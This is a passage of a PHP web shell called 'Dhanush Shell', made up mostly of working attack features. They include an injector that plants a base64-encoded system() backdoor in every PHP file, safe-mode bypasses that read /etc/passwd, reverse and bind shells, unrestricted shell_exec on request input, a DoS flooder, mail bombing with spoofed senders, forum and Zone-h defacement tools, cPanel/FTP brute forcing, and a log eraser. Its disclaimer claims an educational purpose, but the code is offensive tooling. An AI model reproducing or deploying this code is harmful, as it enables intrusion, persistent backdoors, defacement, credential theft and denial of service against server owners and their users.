3114 <td style="width:10%;">From</td>
3115 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3116 </tr>
3117
3118 <tr>
3119 <td style="width:20%;">To</td>
3120 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
3121 </tr>
3122
3123 <tr>
3124 <td style="width:20%;">Subject</td>
3125 <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
3126 </tr>
3127
3128
3129 <tr>
3130 <td colspan="2">
3131 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
3132 </td>
3133 </tr>
3134
3135
3136 <tr>
3137 <td rowspan="2">
3138 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3139 </td>
3140 </tr>
3141 </table>
3142 </form></div>
3143 <?php
3144}
3145// Get Domains
3146else if(isset($_REQUEST["symlinkserver"]))
3147{
3148 ?>
3149 <center><table><tr>
3150 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3151 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3152 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3153 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3154 </tr></table></center><br>
3155 <div id="showdata"></div><?php
3156}
3157// Forum Manager
3158else if(isset($_REQUEST["forum"]))
3159{ ?>
3160 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3161 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3162 </tr></table></center><br><div id="showdata"></div>
3163 <?php
3164}
3165// Sec info
3166else if(isset($_GET['secinfo']))
3167{ ?><div id=showdata></div>
3168<center><div id="showmydata"></div>
3169</center>
3170<br><center><font color =red size=5>Server security information</font><br><br></center>
3171 <table style="width:100%;border-color:#333333;" border="1">
3172 <tr>
3173 <td style="width:7%;">Curl</td>
3174 <td style="width:7%;">Oracle</td>
3175 <td style="width:7%;">MySQL</td>
3176 <td style="width:7%;">MSSQL</td>
3177 <td style="width:7%;">PostgreSQL</td>
3178 <td style="width:12%;">Open Base Directory</td>
3179 <td style="width:10%;">Safe_Exec_Dir</td>
3180 <td style="width:7%;">PHP Version</td>
3181 <td style="width:7%;">Magic Quotes</td>
3182 <td style="width:7%;">Server Admin</td>
3183 </tr>
3184 <tr>
3185 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3186 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3187 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3188 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3189 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3190 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3191 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
3192 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3193 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3194 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3195 </tr>
3196</table><br> <?php
3197 mysecinfo();
3198}
3199// Code Injector
3200
3201else if(isset($_GET['injector']))
3202{
3203 ?>
3204 <form method='POST'>
3205 <table id="margins">
3206 <tr>
3207 <td width="100" class="title">
3208 Directory
3209 </td>
3210 <td>
3211 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
3212 </td>
3213
3214 </tr>
3215 <tr>
3216 <td class="title">
3217 Mode
3218 </td>
3219 <td>
3220 <select style="width: 400px;" name="mode" class="box">
3221 <option value="Apender">Apender</option>
3222 <option value="Overwriter">Overwriter</option>
3223 </select>
3224 </td>
3225 </tr>
3226 <tr>
3227 <td class="title">
3228 File Type
3229 </td>
3230 <td>
3231 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3232 </td>
3233 </tr>
3234 <tr>
3235 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3236 </tr>
3237
3238 <tr>
3239 <td colspan="2">
3240 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3241 </td>
3242 </tr>
3243 <tr>
3244 <td rowspan="2">
3245 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3246 </td>
3247 </tr>
3248 </form>
3249 </table><div id="showinject"</div>
3250 <?php
3251}
3252// Bypass
3253else if(isset($_GET["bypass"]))
3254{
3255 ?><center><div id="showbyp"></div></center>
3256 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3257 <tr>
3258 <td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
3259 </tr>
3260 <tr>
3261 <td align="center">
3262 <p>Using copy() function</p>
3263 <form onSubmit="bypassfun('copy',copy.value);return false;">
3264 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3265 </form>
3266 </td>
3267 <td align="center">
3268 <p>Using imap() function</p>
3269 <form onSubmit="bypassfun('imap',imap.value);return false;">
3270 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3271 </form>
3272 </td>
3273 </tr>
3274
3275 <tr>
3276 <td align="center">
3277 <p>Using sql() function</p>
3278 <form onSubmit="bypassfun('sql',sql.value);return false;">
3279 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3280 </form>
3281 </td>
3282 <td align="center">
3283 <p>Using Curl() function</p>
3284 <form onSubmit="bypassfun('curl',curl.value);return false;">
3285 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3286 </form>
3287 </td>
3288 </tr>
3289
3290 <tr>
3291 <td align="center">
3292 <p>Bypass using include()</p>
3293 <form onSubmit="bypassfun('include',include.value);return false;">
3294 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3295 </form>
3296 </td>
3297 <td align="center">
3298 <p>Using id() function</p>
3299 <form onSubmit="bypassfun('id',id.value);return false;">
3300 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3301 </form>
3302 </td>
3303 </tr>
3304
3305 <tr>
3306 <td align="center">
3307 <p>Using tempnam() function</p>
3308 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3309 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3310 </form>
3311 </td>
3312 <td align="center">
3313 <p>Using symlink() function</p>
3314 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3315 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3316 </form>
3317 </td>
3318 </tr>
3319 <tr>
3320 <td colspan=2 align="center">
3321 <p>Using Bypass function</p>
3322 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3323 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3324 <select id="optiontype" class=sbox>
3325 <option value="tac">tac</option>
3326 <option value="more">more</option>
3327 <option value="less">less</option>
3328 <option value="rev">rev</option>
3329 <option value="xxd">xxd</option>
3330 </select>
3331 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3332 </form>
3333 </td>
3334 </tr>
3335 </table>
3336 </form>
3337 <?php
3338}
3339//fuzzer
3340else if(isset($_GET['fuzz']))
3341{
3342 ?>
3343 <form method="GET">
3344 <table id="margins">
3345 <tr>
3346 <td width="400" class="title">
3347 IP
3348 </td>
3349 <td>
3350 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3351 </td>
3352 </tr>
3353
3354 <tr>
3355 <td class="title">
3356 Port
3357 </td>
3358 <td>
3359 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3360 </td>
3361 </tr>
3362
3363 <tr>
3364 <td class="title">
3365 Timeout
3366 </td>
3367 <td>
3368 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3369 </td>
3370 </tr>
3371
3372
3373 <tr>
3374 <td class="title">
3375 No of times
3376 </td>
3377 <td>
3378 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3379 </td>
3380 </tr>
3381
3382 <tr>
3383 <td class="title">
3384 Message (The message Should be long and it will be multiplied with the value after it)
3385 </td>
3386 <td>
3387 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3388 </td>
3389 <td>
3390 x
3391 </td>
3392 <td width="20">
3393 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3394 </td>
3395 </tr>
3396
3397 <tr>
3398 <td rowspan="2">
3399 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3400 </td>
3401 </tr>
3402 </table>
3403 </form><div id="showdos"></div>
3404 <?php
3405}
3406// Zone-h Poster
3407 else if(isset($_GET["zone"]))
3408 {
3409 if(!function_exists('curl_version'))
3410 {
3411 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3412 }
3413 ?>
3414 <center><font size="4" color="#FF0000">Zone-h Poster</font></center>
3415 <form action="<?php echo $self; ?>" method="post">
3416 <table align="center" cellpadding="5" border="0">
3417 <tr>
3418 <td>
3419 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3420 <tr><td>
3421 <select name="hackmode" class="box">
3422 <option >--------SELECT--------</option>
3423 <option value="1">known vulnerability (i.e. unpatched system)</option>
3424 <option value="2" >undisclosed (new) vulnerability</option>
3425 <option value="3" >configuration / admin. mistake</option>
3426 <option value="4" >brute force attack</option>
3427 <option value="5" >social engineering</option>
3428 <option value="6" >Web Server intrusion</option>
3429 <option value="7" >Web Server external module intrusion</option>
3430 <option value="8" >Mail Server intrusion</option>
3431 <option value="9" >FTP Server intrusion</option>
3432 <option value="10" >SSH Server intrusion</option>
3433 <option value="11" >Telnet Server intrusion</option>
3434 <option value="12" >RPC Server intrusion</option>
3435 <option value="13" >Shares misconfiguration</option>
3436 <option value="14" >Other Server intrusion</option>
3437 <option value="15" >SQL Injection</option>
3438 <option value="16" >URL Poisoning</option>
3439 <option value="17" >File Inclusion</option>
3440 <option value="18" >Other Web Application bug</option>
3441 <option value="19" >Remote administrative panel access bruteforcing</option>
3442 <option value="20" >Remote administrative panel access password guessing</option>
3443 <option value="21" >Remote administrative panel access social engineering</option>
3444 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3445 <option value="23" >Access credentials through Man In the Middle attack</option>
3446 <option value="24" >Remote service password guessing</option>
3447 <option value="25" >Remote service password bruteforce</option>
3448 <option value="26" >Rerouting after attacking the Firewall</option>
3449 <option value="27" >Rerouting after attacking the Router</option>
3450 <option value="28" >DNS attack through social engineering</option>
3451 <option value="29" >DNS attack through cache poisoning</option>
3452 <option value="30" >Not available</option>
3453 </select>
3454 </td></tr>
3455 <tr><td>
3456 <select name="reason" class="box">
3457 <option >--------SELECT--------</option>
3458 <option value="1" >Heh...just for fun!</option>
3459 <option value="2" >Revenge against that website</option>
3460 <option value="3" >Political reasons</option>
3461 <option value="4" >As a challenge</option>
3462 <option value="5" >I just want to be the best defacer</option>
3463 <option value="6" >Patriotism</option>
3464 <option value="7" >Not available</option>
3465 </select></td></tr>
3466 <tr><td>
3467 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3468 <tr><td>
3469 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3470 </form><div id="showzone"></div>
3471 <?php }
3472//DDos
3473 else if(isset($_GET['dos']))
3474 {
3475 ?>
3476 <form method="GET">
3477 <table id="margins">
3478 <tr>
3479 <td width="400" class="title">
3480 IP
3481 </td>
3482 <td>
3483 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3484 </td>
3485 </tr>
3486
3487 <tr>
3488 <td class="title">
3489 Port
3490 </td>
3491 <td>
3492 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3493 </td>
3494 </tr>
3495
3496 <tr>
3497 <td class="title">
3498 Timeout <font >(Time in seconds)</font>
3499 </td>
3500 <td>
3501 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3502 </td>
3503 </tr>
3504 <tr>
3505 <td class="title">
3506 Execution Time <font >(Time in seconds)</font>
3507 </td>
3508 <td>
3509 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3510 </td>
3511 </tr>
3512 <tr>
3513 <td class="title">
3514 No of Bytes per/packet
3515 </td>
3516 <td>
3517 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3518 </td>
3519 </tr>
3520 <tr>
3521 <td rowspan="2">
3522 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
3523 </td>
3524 </tr>
3525 </table>
3526 </form><div id="showdos"></div>
3527 <?php
3528}
3529else if(isset($_GET['mailbomb']))
3530{ ?>
3531 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
3532 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
3533<?php
3534}
3535else if(isset($_GET['tools']))
3536 {
3537 ?>
3538 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
3539 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
3540 <tr>
3541 <td colspan="2" align="center"><b><font size='4' color="#FF0000">Port Scanner<br></font></b></td>
3542 </tr>
3543 <tr>
3544 <td align="center">
3545 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
3546 </td>
3547 <td align="center">
3548 <select class="sbox" name='protocol'>
3549 <option value='tcp'>tcp</option>
3550 <option value='udp'>udp</option>
3551 </select>
3552 </td>
3553 <tr>
3554 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
3555 </tr>
3556 </form>
3557 <tr><td colspan=2><div id="showports"></div>
3558 </td></tr></table>
3559
3560 <br>
3561 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
3562 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
3563 <tr>
3564 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
3565 </tr>
3566 <tr>
3567 <td>Type : </td>
3568 <td>
3569 <select name="prototype" class="sbox">
3570 <option value="ftp">FTP</option>
3571 <option value="mysql">MYSQL</option>
3572 <option value="postgresql">PostgreSql</option>
3573 </select>
3574 </td>
3575 </tr>
3576 <tr>
3577 <td>Server <b>:</b> Port : </td>
3578 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
3579 </tr>
3580 <tr>
3581 <td valign="middle">Brute type : </td>
3582 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
3583 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
3584 Login : <input type="text" name="login" value="root" class="sbox"><br>
3585 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
3586 </td>
3587 </tr>
3588 <tr>
3589 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
3590 </tr>
3591 </form><tr><td colspan="2" id="showbrute"></td></tr>
3592 </table>
3593 </center><br>
3594 <?php
3595}
3596else if (isset($_GET["phpc"]))
3597{
3598 ?>
3599 <div id="showresult"></div>
3600 <form name="frm">
3601 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
3602 <br /><br />
3603 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
3604 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
3605 </form>
3606 <?php
3607}
3608else if(isset($_GET["exploit"]))
3609{
3610 if(!isset($_GET["rootexploit"]))
3611 {
3612 ?>
3613 <center>
3614 <form action="<?php echo $self; ?>" method="get" target="_blank">
3615 <input type="hidden" name="exploit">
3616 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
3617 <tr>
3618 <td style="height:60px;">
3619 <font size="4" class=txt>Select Website</font></td><td>
3620 <p><select id="rootexploit" name="rootexploit" class="box">
3621 <option value="exploit-db">Exploit-db</option>
3622 <option value="packetstormsecurity">Packetstormsecurity</option>
3623 <option value="exploitsearch">Exploitsearch</option>
3624 <option value="shodanhq">Shodanhq</option>
3625 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
3626 <input type="submit" value="Search" class="but"></td></tr></table>
3627 </form></center><br>
3628
3629 <?php
3630 }
3631 else
3632 {
3633 //exploit search
3634 $Lversion = php_uname(r);
3635 $OSV = php_uname(s);
3636 if(eregi('Linux',$OSV))
3637 {
3638 $Lversion=substr($Lversion,0,6);
3639 if($_GET['rootexploit'] == "exploit-db")
3640 {
3641 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
3642 }
3643 else if($_GET['rootexploit'] == "packetstormsecurity")
3644 {
3645 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
3646 }
3647 else if($_GET['rootexploit'] == "exploitsearch")
3648 {
3649 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
3650 }
3651 else if($_GET['rootexploit'] == "shodanhq")
3652 {
3653 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
3654 }
3655 }
3656 else
3657 {
3658 $Lversion=substr($Lversion,0,3);
3659 if($_GET['rootexploit'] == "exploit-db")
3660 {
3661 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
3662 }
3663 else if($_GET['rootexploit'] == "packetstormsecurity")
3664 {
3665 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
3666 }
3667 else if($_GET['rootexploit'] == "exploitsearch")
3668 {
3669 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
3670 }
3671 else if($_GET['rootexploit'] == "shodanhq")
3672 {
3673 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
3674 }
3675 }
3676 //End of Exploit search
3677 }
3678}
3679// Connect
3680else if(isset($_REQUEST['connect']))
3681{
3682 ?>
3683 <form action='<?php echo $self; ?>' method='POST' >
3684 <table style="width:50%" align="center" >
3685 <tr>
3686 <th colspan="1" width="50px">Reverse Shell</th>
3687 <th colspan="1" width="50px">Bind Shell</th>
3688 </tr>
3689 <tr>
3690 <td>
3691 <table style="border-spacing: 6px;">
3692 <tr>
3693 <td>IP </td>
3694 <td>
3695 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
3696 </td>
3697 </tr>
3698 <tr>
3699 <td>Port </td>
3700 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
3701 </tr>
3702 <tr>
3703 <td style="vertical-align:top;">Use:</td>
3704 <td><select style="width: 95px;" name="lang" class="sbox">
3705 <option value="perl">Perl</option>
3706 <option value="python">Python</option>
3707 <option value="php">PHP</option>
3708 </select>
3709 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
3710 </tr>
3711 </table> </form>
3712 </td>
3713
3714 <td style="vertical-align:top;">
3715 <form method='post' >
3716 <table style="border-spacing: 6px;">
3717 <tr>
3718 <td>Port</td>
3719 <td>
3720 <input style="width: 200px;" class="box" name="port" value="9891" />
3721 </td>
3722 </tr>
3723 <tr>
3724 <td>Password </td>
3725 <td>
3726 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
3727 </td>
3728 <tr>
3729 <td>Using</td>
3730 <td>
3731 <select style="width: 95px;" name="lang" id="lang" class="sbox">
3732 <option value="perl">Perl</option>
3733 <option value="c">C</option>
3734 </select>
3735 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
3736 </tr>
3737 </table>
3738 </td>
3739 </form>
3740 </tr>
3741 <tr><td colspan=2><font color="#FF0000">Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</font></td></tr>
3742 </table>
3743
3744 <?php
3745 }
3746
3747else if(isset($_REQUEST['404']))
3748{
3749 ?>
3750 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
3751 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
3752 </tr></table></center><br>
3753 <div id="showdata"></div>
3754 <?php
3755}
3756else if(isset($_GET['about']))
3757 { ?>
3758 <center>
3759 <p><font size=6><u>D h a n u s h</u></font><br>
3760 <font size=5>[--==Coded By Arjun==--]</font>
3761 <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>
3762
3763 - -- -
3764 -- -- --
3765 -- --
3766 --- ---
3767 ------
3768 ----
3769 ----
3770 ------
3771-------
3772--- --
3773 -- ---
3774 -- -----
3775 --- --- ---
3776 --- --- ---
3777-- --------- --
3778-- ------- --
3779 -- ---- --
3780 -- --- --
3781 -- -- --
3782 --- --- -- ---
3783 ------ ------
3784 ---- ----
3785
3786
3787 </pre></font></div></center>
3788 <font class="txt">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
3789 <?php }
3790else if(isset($_GET['database']))
3791{ ?>
3792 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
3793 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
3794 <tr>
3795 <td colspan="2">Connect To Database</td>
3796 </tr>
3797 <tr>
3798 <td>Server Address :</td>
3799 <td><input type="text" class="box" name="server" value="localhost"></td>
3800 </tr>
3801 <tr>
3802 <td>Username :</td>
3803 <td><input type="text" class="box" name="username" value="root"></td>
3804 </tr>
3805 <tr>
3806 <td>Password:</td>
3807 <td><input type="text" class="box" name="password" value=""></td>
3808 </tr>
3809
3810 <tr>
3811 <td></td>
3812 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
3813 </tr>
3814 </table>
3815 </form>
3816 <div id="showsql"></div>
3817<?php
3818}
3819// Cpanel Cracker
3820 else if(isset($_REQUEST['cpanel']))
3821 {
3822 $cpanel_port="2082";
3823 $connect_timeout=5;
3824 ?>
3825 <center>
3826 <form method=post>
3827 <table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
3828 <tr>
3829 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
3830 </tr>
3831 <tr>
3832 <td align=center>User names</td><td align=center>Password</td>
3833 </tr>
3834 <tr>
3835 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
3836 if($os != "Windows")
3837 {
3838 if(@file('/etc/passwd'))
3839 {
3840 $users = file('/etc/passwd');
3841 foreach($users as $user)
3842 {
3843 $user = explode(':', $user);
3844 echo $user[0] . "\n";
3845 }
3846 }
3847 else
3848 {
3849 $temp = "";
3850 $val1 = 0;
3851 $val2 = 1000;
3852 for(;$val1 <= $val2;$val1++)
3853 {
3854 $uid = @posix_getpwuid($val1);
3855 if ($uid)
3856 $temp .= join(':',$uid)."\n";
3857 }
3858
3859 $temp = trim($temp);
3860
3861 if($file5 = fopen("test.txt","w"))
3862 {
3863 fputs($file5,$temp);
3864 fclose($file5);
3865
3866 $file = fopen("test.txt", "r");
3867 while(!feof($file))
3868 {
3869 $s = fgets($file);
3870 $matches = array();
3871 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3872 $matches = str_replace("home/","",$matches[1]);
3873 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3874 continue;
3875 echo $matches;
3876 }
3877 fclose($file);
3878 }
3879 }
3880 }
3881
3882 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
3883 </tr>
3884 <tr>
3885 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
3886 </tr>
3887 <tr>
3888 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
3889 </tr>
3890 <tr>
3891 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
3892 </tr>
3893 </table>
3894 </form>
3895 </center>
3896 <?php
3897}
3898else if(isset($_REQUEST['malattack']))
3899{
3900 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3901 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
3902 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
3903 <div id="showdata"></div>
3904 <?php
3905}
3906else if(isset($_GET["com"]))
3907{
3908 echo "<br>";
3909 ob_start();
3910 eval("phpinfo();");
3911 $b = ob_get_contents();
3912 ob_end_clean();
3913 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
3914 $z = strpos($b,"</body>");
3915 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
3916 echo $s_result;
3917}
3918else if(isset($_GET['execute']))
3919{
3920 $comm = $_GET['execute'];
3921 chdir($_GET['executepath']);
3922 $check = shell_exec($comm);
3923
3924 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3925
3926 ?>
3927 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
3928 <input type="text" class="box" name="execute">
3929 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
3930 <?php
3931}
3932else if(isset($_GET['mycmd']))
3933{
3934 if($_GET['mycmd']=="logeraser")
3935 {
